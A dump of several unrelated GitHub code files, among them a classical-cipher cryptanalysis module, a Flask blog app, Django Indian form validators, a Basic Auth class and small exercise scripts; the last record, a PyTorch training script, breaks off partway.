comparaison, \"n\" should be 1 !!!'))\n \n ana = FreqAna(True, sort='occ').ana(txt)\n \n dct = {}\n \n for j, k in enumerate(ana):\n if k in self.en_freq:\n dct[k] = (self.en_freq[j], self.fr_freq[j])\n \n return dct\n \n \n def comp_str(self, txt):\n \"\"\"Return the self.comp analyse in a readable format.\"\"\"\n \n d_ana_comp = self.comp(txt)\n \n ret = tr('Character correspondance (Text : English - French) :')\n for k in d_ana_comp:\n ret += \"\\n\\t'{}' : '{}' - '{}'\".format(k, d_ana_comp[k][0], d_ana_comp[k][1])\n \n return ret\n \n \n def analyse(self, txt, prec=1, verbose=True):\n \"\"\"Return the frequency analysis of 'txt', in a readable format.\"\"\"\n \n d_ana = self.ana(txt)\n d_ana_pr = self.ana_pr(txt, prec)\n occ = self.occ(txt)\n \n ret=''\n \n if verbose:\n ret = tr('Number of total characters : {}').format(len(txt))\n if self.wprocess:\n ret += '\\n' + tr('Number of characters (after word processing) : {}').format(len(msgform(txt, 'min')))\n ret += '\\n' + tr('Number of total occurences : {}').format(occ) + '\\n\\n'\n \n if self.sort == None:\n ret += tr('Occurences count :')\n \n elif self.sort == 'char':\n ret += tr('Occurences count (by character) :')\n \n else:\n ret += tr('Occurences count (by occurence) :')\n \n for k in d_ana:\n ret += \"\\n\\t'{}' : {} % ({} occ)\".format(k, d_ana_pr[k], d_ana[k])\n \n return ret\n\n\ndef freqana_str(txt, wprocess=False, n=1, prec=1):\n \"\"\"Use FreqAna. Return a string.\"\"\"\n \n ret = FreqAna(wprocess, n, sort='occ').analyse(txt, prec)\n ret += '\\n\\n' + FreqAna(wprocess, n, sort='char').analyse(txt, prec, False)\n \n if n == 1:\n ret += '\\n\\n' + FreqAna().comp_str(txt)\n \n return ret\n \n\n\nclass Ic:\n \"\"\"Class defining the coincidence index.\"\"\"\n \n def __init__(self, wprocess=False):\n \"\"\"Initiate the Ic class.\"\"\"\n \n if wprocess not in (0, 1):\n raise ValueError(tr('The arg \"wprocess\" should be a boolean, but \"{}\" of type \"{}\" was found !!!').format(wprocess, type(wprocess)))\n \n self.wprocess = wprocess\n \n \n def calc(self, txt):\n \"\"\"Calculate the index of coincidence.\"\"\"\n \n if self.wprocess:\n txt = msgform(txt, 'min')\n \n lth = len(txt)\n \n if lth == 1:\n return 0\n \n dct = {}\n for k in txt:\n if k in dct:\n dct[k] += 1\n \n else:\n dct[k] = 1\n \n ic = 0\n for k in dct:\n n = dct[k]\n ic += n * (n - 1)\n \n return ic / (lth * (lth-1))\n\n\nclass Kasiki:\n \"\"\"Defining the Kasiki analysis.\"\"\"\n \n def __init__(self, wprocess=False):\n \"\"\"Initiate the Kasiki object.\"\"\"\n \n if wprocess not in (0, 1):\n raise ValueError(tr('The arg \"wprocess\" should be a boolean, but \"{}\" of type \"{}\" was found !!!').format(wprocess, type(wprocess)))\n \n self.wprocess = wprocess\n \n \n def ana(self, txt):\n \"\"\"\n Analyse 'txt' with the Kasiki examination.\n \n Return a dict of the form {str: (int, int, int, (bool, [int, int]))}\n \"\"\"\n \n if self.wprocess:\n txt = msgform(txt, 'maj', number=True)\n \n lth = len(txt)\n d_3 = {}\n d_4 = {}\n d_rep = {}\n \n for k in range(lth):\n if k <= lth - 3:\n tri = txt[k:k + 3]\n \n if tri in d_3:\n d = k - d_3[tri]\n d_rep[tri] = (d_3[tri] + 1, k + 1, d, prima.trial_division(d))\n \n else:\n d_3[tri] = k\n \n if k <= lth - 4:\n quad = tri + txt[k + 3]\n \n if quad in d_4:\n d = k - d_4[quad]\n d_rep[quad] = (d_4[quad] + 1, k + 1, d, prima.trial_division(d))\n \n else:\n d_4[quad] = k\n \n return d_rep\n \n \n def analyse(self, txt):\n \"\"\"Return the analysis in a readable string.\"\"\"\n \n ana = self.ana(txt)\n \n ret = tr('Kasiki examination') + ' :\\n'\n \n for i in ana:\n lst = ana[i]\n r = '\\t{} : '.format(i)\n \n for j in range(len(lst) - 2):\n r += str(lst[j])\n \n if j < len(lst) - 3:\n r += '-'\n \n elif j == len(lst) - 3:\n r += ' --> {}'.format(lst[j])\n \n ret += '{} --> {}\\n'.format(r, lst[-1][1])\n \n return ret\n\n\nclass Friedman:\n \"\"\"Defining the Friedman's test.\"\"\"\n \n def __init__(self, wprocess=True, n=20, prec=6):\n \"\"\"\n Initiate the Friedman object.\n \n - wprocess : a boolean which indicates if the text should be processed ; \n - n : a number ;\n - prec : the precision in round for the numbers.\n \"\"\"\n \n if wprocess not in (0, 1):\n raise ValueError(tr('The arg \"wprocess\" should be a boolean, but \"{}\" of type \"{}\" was found !!!').format(wprocess, type(wprocess)))\n \n self.wprocess = wprocess\n self.prec = prec\n self.n = n\n\n\n def ana(self, txt):\n \"\"\"\n Analyse the text 'txt'.\n \n Return a tuple of the following form :\n (int, [int, int, ...])\n \"\"\"\n \n lth = len(txt)\n n = (self.n, lth)[lth < self.n] #If lth < self.n: n = lth, else: n = self.n\n lst = []\n mx = (0, 0)\n \n for i in range(1, n + 1):\n m = 0\n \n for j in range(0, i):\n t2 = ''\n \n for k in range(j, lth, i):\n t2 += txt[k]\n \n ic_t2 = Ic(False).calc(t2)\n m += ic_t2\n \n m /= i\n \n if m > mx[1]:\n mx = (i, m)\n \n lst.append(round(m, self.prec))\n \n return (mx[0], lst)\n \n \n def analyse(self, txt):\n \"\"\"Return the analysis in a readable string.\"\"\"\n \n ana = self.ana(txt)\n ret = tr(\"Friedman's test\") + ' :'\n \n for j, k in enumerate(ana[1]):\n ret += '\\n\\t{} : {}'.format(j + 1, k)\n \n ret += '\\n\\t' + tr('Max : {}, for length of {}.').format(ana[1][ana[0] - 1], ana[0])\n \n return ret\n\ndef textana(txt, wprocess=False, prec=3):\n \"\"\"Use the previous classes to give a complete analysis of 'txt'.\"\"\"\n \n ret = ''\n ret += freqana_str(txt, wprocess, prec=prec)\n ret += '\\n\\n' + tr('Index of coincidence') + ' : {}\\n\\n'.format(round(Ic(wprocess).calc(txt), 3))\n ret += Kasiki(wprocess).analyse(txt)\n ret += '\\n'\n ret += Friedman(wprocess).analyse(txt)\n \n return ret\n\n\nclass Assist_cryptanalysis:\n \"\"\"Class to assist humen for the difficult task which is cryptanalysis.\"\"\"\n def simplesub():\n text = ask_text()\n t2 = \"\"\n D = {} # Dictionnary of susbsitution\n alf = cl_inp(tr('Alphabet (let empty to use normal) : '))\n if alf == \"\":\n alf = 'abcdefghijklmnopqrstuvwxyz'\n c = cl_inp(tr('Text in majuscule ? [yn ] '))\n if c == tr('y'):\n alf = alf.upper()\n text = text.upper()\n alf = alf.upper()\n print(tr('Put ! to quit'))\n print(tr('Example : B -> E transform all B in E') + '\\n' + tr('f gives you the frequences of the letters'))\n c = ''\n while c != '!':\n print()\n if c != '':\n c2 = ''\n for k in c:\n if k != ' ':\n c2 += k\n c = c2\n if '->' in c:\n c = c.split('->')\n elif '=' in c:\n c = c.split('=')\n try:\n for k in range(len(c[0])):\n D[c[0][k]] = c[1][k]\n except:\n print(tr('Error'))\n t2 = ''\n for k in text:\n c2 = D.get(k)\n if c2 == None or c2 == \"\":\n c2 = \" \"\n t2 += c2\n l2 = \"\"\n for k in range(len(text)):\n if k != 0 and k % 30 == 0:\n print('\\n'+l2)\n l2 = \"\"\n print(text[k], end='')\n l2 = l2 + t2[k]\n print('\\n'+l2)\n print(tr('Plain alphabet') + ' : ' + alf)\n print(tr('Cipher alphabet') + ' : ', end='')\n D2 = {}\n for k in D:\n D2[D[k]] = k\n for k in alf:\n c2 = D2.get(k)\n if c2 == None or c2 == '':\n c2 = \" \"\n print(c2, end='')\n print()\n c = input('>> ')\n while c == 'f':\n freqana.use(text, False)\n c = input('>> ')\n\n##-crack\n\ndef correct(M, com):\n if M[0]:\n if com:\n print(True, M[1], M[2])\n a = input(tr('Correct text ? [yn] '))\n if a == tr('y'):\n return True\n else:\n return True\n return False\n\n\ndef open_D_quad(interface=None):\n '''open quad.wrdlst and make the dict D_quad.'''\n \n global D_quad\n D_quad = {}\n \n #------chdir to the wordlist\n old_path = chd('Crack')\n \n #------read it\n try:\n with open('quad_f.wrdlst', 'r', encoding='latin-1') as f:\n for line in f:\n line = line.strip('\\n')\n quad, nb = line.split(' ')\n \n D_quad[quad] = int(nb) / 2_456_316 # Number of tetragrams\n \n except FileNotFoundError:\n msg = tr('File \"quad_f.wrdlst\" was not found !') + '\\n' + tr('Your may have forgotten to unzip it.') + '\\n' + tr('It is in Data/Crack.')\n msg += '\\n\\n' + tr(\"The software can't start until the file is not unziped.\")\n \n if interface == None:\n print(msg)\n \n elif interface == 'console':\n cl_out(c_error, msg)\n \n else:\n from PyQt5.QtWidgets import QApplication, QMessageBox\n app = QApplication([])\n QMessageBox.critical(None, tr('Fatal error !!!'), '
{}
'.format(msg))\n \n import sys\n sys.exit(tr('File \"quad_f.wrdlst\" was not found.'))\n \n \n\n chdir(old_path)\n \n\ndef crack(text, com=True): #todo: move this in modules/crack ; add GUI com, ...\n\n global D_quad\n D_quad = {}\n try:\n a = open('quad_f.wrdlst', 'r', encoding='latin-1')\n except:\n try:\n a = open('modules/crypta/quad.wrdlst', 'r', encoding='latin-1')\n except:\n print(path, tr(\"Can't import quad.wrdlst\"))\n a = False\n if a != False:\n c = a.readline()\n while c != \"\\n\" and c != \"\":\n c = c.split(\" \")\n D_quad[c[0]] = int(c[1][0:-1]) / 2456316 # number of tetragrams\n c = a.readline()\n a.close()\n\n t2 = text\n text = msgform(text, 'min')\n C = [atbash.crack, albam.crack, achbi.crack, avgad.crack, caesar.crack, affine.crack, reverse_code.crack, scytale.crack, rail_fence.crack, morse.crack, tritheme.crack, monosub.crack, columnar_transposition.crack, UBCHI.crack]\n for k in C:\n if k == morse.crack:\n M = k(t2, com) #Text not processed\n else:\n M = k(text, com=com)\n if correct(M, com):\n return True, (k, M)\n if com: print(False, '\\n') \n return False, None\n\ndef crack_use():\n t = ask_text()\n print()\n print(crack(t))\n\n##-using\n\n\n\ncrypta_ciphers = {\n 'ASCII': ASCII,\n tr('Binary code'): BinaryCode,\n 'Morse': Morse,\n tr('Place of letters'): Place_of_letters,\n tr('Reverse code'): ReverseCode,\n tr('Reverse code word'): ReverseCode,\n 'Scytale': Scytale,\n 'Rail fence': RailFence,\n 'Fleissner': Fleissner,\n tr('Columnar transposition'): ColumnarTransposition,\n 'UBCHI': UBCHI,\n 'Atbash': Atbash,\n 'Albam': Albam,\n 'Achbi': Achbi,\n 'Avgad': Avgad,\n tr('Caesar'): Caesar,\n 'Affine': Affine,\n tr('Polybius'): Polybius,\n tr('Monoalphabetic substitution'): MonoSub,\n 'Tritheme': Tritheme,\n 'Porta': Porta,\n 'Vigenere': Vigenere,\n 'Beaufort': Beaufort,\n 'Gronsfeld': Gronsfeld,\n 'Autoclave': Autoclave,\n 'Playfair': Playfair,\n tr('Four squares'): FourSquares,\n 'Hill': Hill,\n 'ABC': ABC,\n 'ADFGX': ADFGX,\n 'ADFGVX': ADFGVX,\n}\n\ncrypta_ana = {\n tr('Frequence analysis'): freqana_str,\n tr('Index of coincidence'): Ic,\n 'Kasiki': Kasiki,\n 'Friedman': Friedman,\n \n}\n\n\nbroken_ciph = []\nfor k in crypta_ciphers:\n try:\n foo = crypta_ciphers[k].meaning\n \n except AttributeError:\n pass\n \n else:\n broken_ciph.append(k)\n\n\nbroken_ciph_dict = {'break_': [], 'brute_force': []}\nfor k in crypta_ciphers:\n try:\n foo = crypta_ciphers[k].break_\n \n except AttributeError:\n try:\n foo = crypta_ciphers[k].brute_force\n \n except AttributeError:\n pass\n \n else:\n broken_ciph_dict['brute_force'].append(k)\n \n else:\n broken_ciph_dict['break_'].append(k)\n\n\n##-setup\nopen_D_quad(glb.interface)\n","repo_name":"lasercata/Cracker","sub_path":"modules/ciphers/crypta/crypta.py","file_name":"crypta.py","file_ext":"py","file_size_in_byte":122956,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"13019846773","text":"import cv2\nimport numpy as np\nimport os\n\nfiles = [f for f in os.listdir('.') if os.path.isfile(f)]\nimgs = []\n\n#read input\nfor f in files:\n if 'png' in f and 'background' not in f:\n imgs.append(cv2.imread(f))\n\n#generate output\nh, w = imgs[0].shape[:2]\nimg_out = np.zeros((h, w, 3), np.uint8)\nnum = len(imgs)\n\nfor i in range(h): \n for j in range(w):\n r = g = b = 0\n \n for img in imgs:\n r = r + img[i, j][0]\n g = g + img[i, j][1]\n b = b + img[i, j][2]\n# print \"original: \", img[i, j]\n\n img_out[i, j] = [r/num, g/num, b/num] \n# print \"background: \", img_out[i, j]\n\ncv2.imwrite('backgroud_algo1.png', img_out)\n","repo_name":"zzyclark/Image-Reflection-Removal","sub_path":"algo-average.py","file_name":"algo-average.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"78"}
+{"seq_id":"29919976281","text":"class Solution:\n def longestSubarray(self, nums: List[int], limit: int) -> int:\n n = len(nums)\n queMax, queMin = deque(), deque()\n left = right = ret = 0\n\n while right < n:\n while queMax and queMax[-1] < nums[right]:\n queMax.pop()\n while queMin and queMin[-1] > nums[right]:\n queMin.pop()\n\n queMax.append(nums[right])\n queMin.append(nums[right])\n\n while queMax and queMin and queMax[0] - queMin[0] > limit:\n if nums[left] == queMin[0]:\n queMin.popleft()\n if nums[left] == queMax[0]:\n queMax.popleft()\n left += 1\n\n ret = max(ret, right - left + 1)\n right += 1\n\n return ret","repo_name":"ANh0r/LeetCode-Daily","sub_path":"2.21 LongestSubarray.py","file_name":"2.21 LongestSubarray.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"23774208530","text":"\"\"\"\nIndia-specific Form helpers.\n\"\"\"\n\nfrom __future__ import absolute_import, unicode_literals\n\nimport re\n\nfrom django.core.validators import EMPTY_VALUES\nfrom django.forms import ValidationError\nfrom django.forms.fields import Field, RegexField, CharField, Select\nfrom django.utils.encoding import smart_text\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom .in_states import STATES_NORMALIZED, STATE_CHOICES\n\n\nphone_digits_re = re.compile(r\"\"\"\n(\n (?P # the std-code group\n ^0 # all std-codes start with 0\n (\n (?P\\d{2}) | # either two, three or four digits\n (?P\\d{3}) | # following the 0\n (?P\\d{4})\n )\n )\n [-\\s] # space or -\n (?P # the phone number group\n [1-6] # first digit of phone number\n (\n (?(twodigit)\\d{7}) | # 7 more phone digits for 3 digit stdcode\n (?(threedigit)\\d{6}) | # 6 more phone digits for 4 digit stdcode\n (?(fourdigit)\\d{5}) # 5 more phone digits for 5 digit stdcode\n )\n )\n)$\"\"\", re.VERBOSE)\n\naadhaar_re = re.compile(r\"^(?P\\d{4})[-\\ ]?(?P\\d{4})[-\\ ]?(?P\\d{4})$\")\n\n\nclass INZipCodeField(RegexField):\n \"\"\"\n A form field that validates input as an Indian zip code, with the\n format XXXXXXX.\n \"\"\"\n default_error_messages = {\n 'invalid': _('Enter a zip code in the format XXXXXX or XXX XXX.'),\n }\n\n def __init__(self, max_length=None, min_length=None, *args, **kwargs):\n super(INZipCodeField, self).__init__(r'^\\d{3}\\s?\\d{3}$',\n max_length, min_length, *args, **kwargs)\n\n def clean(self, value):\n value = super(INZipCodeField, self).clean(value)\n if value in EMPTY_VALUES:\n return ''\n # Convert to \"NNNNNN\" if \"NNN NNN\" given\n value = re.sub(r'^(\\d{3})\\s(\\d{3})$', r'\\1\\2', value)\n return value\n\n\nclass INStateField(Field):\n \"\"\"\n A form field that validates its input is a Indian state name or\n abbreviation. It normalizes the input to the standard two-letter vehicle\n registration abbreviation for the given state or union territory\n\n .. versionchanged:: 1.1\n\n Added Telangana to list of states. More details at\n https://en.wikipedia.org/wiki/Telangana#Bifurcation_of_Andhra_Pradesh\n\n \"\"\"\n default_error_messages = {\n 'invalid': _('Enter an Indian state or territory.'),\n }\n\n def clean(self, value):\n value = super(INStateField, self).clean(value)\n if value in EMPTY_VALUES:\n return ''\n try:\n value = value.strip().lower()\n except AttributeError:\n pass\n else:\n try:\n return smart_text(STATES_NORMALIZED[value.strip().lower()])\n except KeyError:\n pass\n raise ValidationError(self.error_messages['invalid'])\n\n\nclass INAadhaarNumberField(Field):\n \"\"\"\n A form field for Aadhaar number issued by\n Unique Identification Authority of India (UIDAI).\n\n Checks the following rules to determine whether the number is valid:\n\n * Conforms to the XXXX XXXX XXXX format.\n * No group consists entirely of zeroes.\n\n Important information:\n\n * Aadhaar number is a proof of identity but not of citizenship.\n * Aadhaar number is issued to every resident of India including\n foreign citizens.\n * Aadhaar number is not mandatory.\n\n More information can be found at\n http://uidai.gov.in/what-is-aadhaar-number.html\n \"\"\"\n default_error_messages = {\n 'invalid': _('Enter a valid Aadhaar number in XXXX XXXX XXXX or '\n 'XXXX-XXXX-XXXX format.'),\n }\n\n def clean(self, value):\n value = super(INAadhaarNumberField, self).clean(value)\n if value in EMPTY_VALUES:\n return ''\n\n match = re.match(aadhaar_re, value)\n if not match:\n raise ValidationError(self.error_messages['invalid'])\n part1, part2, part3 = match.groupdict()['part1'], match.groupdict()['part2'], match.groupdict()['part3']\n\n # all the parts can't be zero\n if part1 == '0000' and part2 == '0000' and part3 == '0000':\n raise ValidationError(self.error_messages['invalid'])\n\n return '%s %s %s' % (part1, part2, part3)\n\n\nclass INStateSelect(Select):\n \"\"\"\n A Select widget that uses a list of Indian states/territories as its\n choices.\n\n .. versionchanged:: 1.1\n\n Added Telangana to list of states. More details at\n https://en.wikipedia.org/wiki/Telangana#Bifurcation_of_Andhra_Pradesh\n\n \"\"\"\n def __init__(self, attrs=None):\n super(INStateSelect, self).__init__(attrs, choices=STATE_CHOICES)\n\n\nclass INPhoneNumberField(CharField):\n \"\"\"\n INPhoneNumberField validates that the data is a valid Indian phone number,\n including the STD code. It's normalised to 0XXX-XXXXXXX or 0XXX XXXXXXX\n format. The first string is the STD code which is a '0' followed by 2-4\n digits. The second string is 8 digits if the STD code is 3 digits, 7\n digits if the STD code is 4 digits and 6 digits if the STD code is 5\n digits. The second string will start with numbers between 1 and 6. The\n separator is either a space or a hyphen.\n \"\"\"\n default_error_messages = {\n 'invalid': _('Phone numbers must be in 02X-8X or 03X-7X or 04X-6X format.'),\n }\n\n def clean(self, value):\n value = super(INPhoneNumberField, self).clean(value)\n if value in EMPTY_VALUES:\n return ''\n value = smart_text(value)\n m = phone_digits_re.match(value)\n if m:\n return '%s' % (value)\n raise ValidationError(self.error_messages['invalid'])\n","repo_name":"ylavinia/Electronic_Medical_Records_OneClickVitals","sub_path":"code/myvenv/lib/python3.4/site-packages/localflavor/in_/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"36233470773","text":"import json\nfrom flask import Flask, render_template, request, redirect, url_for\n\napp = Flask(__name__)\n\n\n# Helper function to fetch blog posts from JSON file\ndef get_blog_posts():\n with open('blog_posts.json', 'r') as file:\n\n blog_posts = json.load(file)\n return blog_posts\n\n\n# Helper function to update blog posts in JSON file\ndef update_blog_posts(blog_posts):\n with open('blog_posts.json', 'w') as file:\n json.dump(blog_posts, file, indent=4)\n\n\n@app.route('/')\ndef index():\n \"\"\"\n Renders the index.html template with the list of blog posts.\n \"\"\"\n blog_posts = get_blog_posts()\n return render_template('index.html', posts=blog_posts)\n\n\n@app.route('/add', methods=['GET', 'POST'])\ndef add():\n \"\"\"\n Adds a new blog post to the JSON file.\n \"\"\"\n if request.method == 'POST':\n # Code for handling the POST request and adding a new blog post\n blog_posts = get_blog_posts()\n new_post = {\n 'id': len(blog_posts) + 1,\n 'author': request.form['author'],\n 'title': request.form['title'],\n 'content': request.form['content']\n }\n blog_posts.append(new_post)\n update_blog_posts(blog_posts)\n return redirect(url_for('index'))\n return render_template('add.html')\n\n\n@app.route('/delete/')\ndef delete(post_id):\n \"\"\"\n Deletes a blog post from the JSON file based on the given post_id.\n \"\"\"\n blog_posts = get_blog_posts()\n for post in blog_posts:\n if post['id'] == post_id:\n blog_posts.remove(post)\n update_blog_posts(blog_posts)\n break\n return redirect(url_for('index'))\n\n\n@app.route('/update/', methods=['GET', 'POST'])\ndef update(post_id):\n \"\"\"\n Updates a blog post in the JSON file based on the given post_id.\n \"\"\"\n blog_posts = get_blog_posts()\n post = None\n for p in blog_posts:\n if p['id'] == post_id:\n post = p\n break\n\n if post is None:\n return redirect(url_for('index'))\n\n if request.method == 'POST':\n # Code for handling the POST request and updating the blog post\n post['author'] = request.form['author']\n post['title'] = request.form['title']\n post['content'] = request.form['content']\n update_blog_posts(blog_posts)\n return redirect(url_for('index'))\n\n return render_template('update.html', post=post)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000, debug=True)","repo_name":"BeatrizImgaertchen/masterblog","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11171472515","text":"# Даны два файла, в каждом из которых находится запись многочлена. Задача - сформировать файл, содержащий сумму многочленов.\n\nfirst = open(\"first_ex_15.txt\", \"r\")\nfirst_sp = first.read().split(' + ')\n\nsecond = open(\"second_ex_15.txt\", \"r\")\nsecond_sp = second.read().split(' + ')\nnewfirst = []\nnewsecond = []\n\nfor i in first_sp:\n newfirst.append(i.split('x^'))\n\nfor i in second_sp:\n newsecond.append(i.split('x^'))\n\nprint(newfirst) \nprint(newsecond)\n\nresult = []\nfor i in newfirst:\n for j in newsecond:\n if len(i) > 1:\n if len(j) > 1:\n if i[-1] == j[-1]:\n result.append(f\"{int(i[0]) + int(j[0])}x^{int(i[-1])}\")\n result.append(f\"+\")\n if len(i) == 1:\n if len(j) == 1:\n result.append(f\"{int(i[0]) + int(j[0])}\")\n \n \nprint(result)\nstr_result = ' '.join(result)\n\nhello = open(\"result.txt\", \"a\")\nhello.write(f'{str_result}\\n')\nhello.close()\n\nfirst.close()\nsecond.close()","repo_name":"TimurSh18/programming_hw","sub_path":"ex_15.py","file_name":"ex_15.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40481096574","text":"\"\"\"\nСупер-класс который описывает всех магических сущностей входящий\nв magic portal.\n\nА мы контролируем портал.\n\nМы должны сгенерировать билет в другом классе и передать это сущности\n\"\"\"\n\n\nclass Essence:\n\n def __init__(\n self, name: str, race: str, age: int, rang: str, destination: str,\n teleportation_place: str\n ):\n \"\"\"\n :param name: имя сущности\n :param race: раса сущности (чтобы в одном месте они не конфликтовали)\n :param age: возраст сущности\n :param rang: должность\n :param destination: куда едет\n \"\"\"\n\n # public variables\n self.name = name\n self.race = race\n self.age = age\n\n # Where essence will go\n self._destination = destination\n self._teleportation_place = teleportation_place\n\n # private and protected variables\n self._rang = rang # The social rang of essence\n\n # Essence ticked\n self._ticket_id = 00000\n\n # way length to destination\n self.sun_km_to = 0\n\n # way length to other or home destination\n self.sun_km_from = 0\n\n # time what spend for trip\n self.trip_time = 0.\n\n def __str__(self):\n \"\"\"\n :return: string with essence description\n \"\"\"\n return f\"NAME: {self.name}\\nRACE: {self.race}\\nAGE: {self.age}\"\n\n def destin_take(self):\n return self._destination\n\n def tep_from_take(self):\n return self._teleportation_place\n\n # def ticked_bought(self):\n # self.name = input(\"What is your name?\")\n #\n # def check_your_race(self):\n # pass\n #\n # def take_info_about(self):\n # bilet_answer = input(\"Привет, хочешь купить билет или просмотреть свой рейс?\")\n # if len(bilet_answer) <= 3:\n # if bilet_answer in \"купить билет\":\n # self.ticked_bought()\n # elif bilet_answer in \"просмотреть свой рейс\":\n # self.check_your_race()\n\n","repo_name":"pavelMerlin/pythonStudy","sub_path":"own_task13/portal_gate/essence.py","file_name":"essence.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34861681065","text":"#!/usr/bin/env python3\n\"\"\"\nBasic Authentication Module\n\"\"\"\nfrom api.v1.auth.auth import Auth\nfrom base64 import b64decode\nimport binascii\nfrom typing import TypeVar\nfrom models.user import User\nuser = User()\n\n\nclass BasicAuth(Auth):\n \"\"\"\n BasicAuth - Basic Authentication Class\n \"\"\"\n def extract_base64_authorization_header(self, authorization_header:\n str) -> str:\n \"\"\"\n extract base64 auth header\n Arguments:\n authorization_header: authorization header\n Return:\n None\n \"\"\"\n auth = authorization_header\n if not auth or type(auth) != str or not auth.startswith('Basic '):\n return None\n return auth.split(' ')[1]\n\n def decode_base64_authorization_header(self,\n base64_authorization_header:\n str) -> str:\n \"\"\"\n decode base64 authorization header\n Arguments:\n base64_authorization_header\n Return:\n None if not base64 encoded\n \"\"\"\n base64_auth_header = base64_authorization_header\n if not base64_auth_header or type(base64_auth_header) != str:\n return None\n try:\n decoded_base64_auth = b64decode(base64_auth_header)\n return decoded_base64_auth.decode('utf-8')\n except binascii.Error:\n return None\n except UnicodeDecodeError:\n return None\n\n def extract_user_credentials(self, decoded_base64_authorization_header:\n str) -> (str, str):\n \"\"\"\n extract user credentials\n Arguments:\n decoded_base64_authorization_header\n Return:\n User email and password or None\n \"\"\"\n if not decoded_base64_authorization_header:\n return (None, None)\n if type(decoded_base64_authorization_header) != str:\n return (None, None)\n if decoded_base64_authorization_header.find(':') == -1:\n return (None, None)\n details = decoded_base64_authorization_header.split(':', 1)\n return (details[0], details[1])\n\n def user_object_from_credentials(self, user_email: str, user_pwd:\n str) -> TypeVar('User'):\n \"\"\"\n user object from credentials\n Arguments:\n user_email: user email address\n user_pwd: user password\n Return:\n User instance or None\n \"\"\"\n if not user_email or type(user_email) != str:\n return None\n if not user_pwd or type(user_pwd) != str:\n return None\n user.load_from_file()\n users = user.all()\n if users != []:\n match_user = [user for user in users if user.email ==\n user_email]\n # Check if user is in database\n if match_user == []:\n # Use the search method is no user in DB\n obj = user.search({'email': user_email})\n if obj != []:\n # Validate password\n if obj[0].is_valid_password(user_pwd):\n return obj[0]\n else:\n # Validate password\n if match_user[0].is_valid_password(user_pwd):\n return match_user[0]\n return None\n\n def current_user(self, request=None) -> TypeVar('User'):\n \"\"\"\n current user\n Arguments:\n request: request method\n Return:\n the current user or None\n \"\"\"\n if request:\n auth = self.authorization_header(request)\n if auth:\n token = self.extract_base64_authorization_header(auth)\n if token:\n code = self.decode_base64_authorization_header(token)\n if code:\n user = self.extract_user_credentials(code)\n if user:\n out = self.user_object_from_credentials(user[0],\n user[1])\n return out\n return None\n","repo_name":"bibhestee/alx-backend-user-data","sub_path":"0x02-Session_authentication/api/v1/auth/basic_auth.py","file_name":"basic_auth.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"41806214647","text":"# Quality of life imports\nfrom pathlib import Path\nfrom sys import modules\n\n# Quality of life, define the input file location\nsrc = Path(modules[\"__main__\"].__file__).resolve().parent\ninput_file_path = Path(src, \"input.txt\")\n\nfrom math import prod\nimport numpy as np\n\n\nEXAMPLE_MODE = False\nexample = \"\"\"30373\n25512\n65332\n33549\n35390\"\"\"\nexample_answer = 21\n\ndef number_visible(arr: list[int], cap: int = 10) -> list[int]:\n return next((d for d, tree in enumerate(arr, start=1) if tree >= cap), len(arr))\n\n\ndef part2(input):\n forest = np.array(input, dtype=int)\n transpose_forest = np.transpose(np.array(input, dtype=int))\n\n max_score = 0\n for i, x in enumerate(forest):\n for j, y in enumerate(transpose_forest):\n trees = (y[:i][::-1], y[i + 1 :], x[:j][::-1], x[j + 1 :])\n score = prod([number_visible(arr=x, cap=y[i]) for x in trees])\n max_score = max(score, max_score)\n print(f\"The most bestest spot has a score of: {max_score}\")\n\n\nif __name__ == \"__main__\":\n input = []\n\n if EXAMPLE_MODE:\n for line in example.split(\"\\n\"):\n input.append([int(x) for x in line])\n else:\n with open(input_file_path) as f:\n for line in f.readlines():\n input.append([int(x) for x in line.strip()])\n part2(input)\n","repo_name":"Vi-Robitaille/src-advent-of-code","sub_path":"src/python/2022/08/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19199172264","text":"from types import new_class\nimport dill\nimport numpy as np\nimport argparse\nfrom collections import defaultdict\nfrom sklearn.metrics import jaccard_score, roc_curve\nfrom torch.optim import Adam, RMSprop\nimport os\nimport torch\nimport time\nimport math\nfrom models import MICRON\nfrom util import llprint, multi_label_metric, ddi_rate_score, get_n_params\nimport torch.nn.functional as F\n\n# torch.set_num_threads(30)\ntorch.manual_seed(1203)\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\n# setting\nmodel_name = 'MICRON_pad_lr1e-4'\nresume_path = './Epoch_39_JA_0.5209_DDI_0.06952.model'\n# resume_path = './{}_Epoch_39_JA_0.5209_DDI_0.06952.model'.format(model_name)\n\nif not os.path.exists(os.path.join(\"saved\", model_name)):\n os.makedirs(os.path.join(\"saved\", model_name))\n\n# Training settings\nparser = argparse.ArgumentParser()\nparser.add_argument('--Test', action='store_true', default=False, help=\"test mode\")\nparser.add_argument('--model_name', type=str, default=model_name, help=\"model name\")\nparser.add_argument('--resume_path', type=str, default=resume_path, help='resume path')\nparser.add_argument('--lr', type=float, default=2e-4, help='learning rate') # original 0.0002\nparser.add_argument('--weight_decay', type=float, default=1e-5, help='learning rate')\nparser.add_argument('--dim', type=int, default=64, help='dimension')\n\nargs = parser.parse_args()\n\n# evaluate\ndef eval(model, 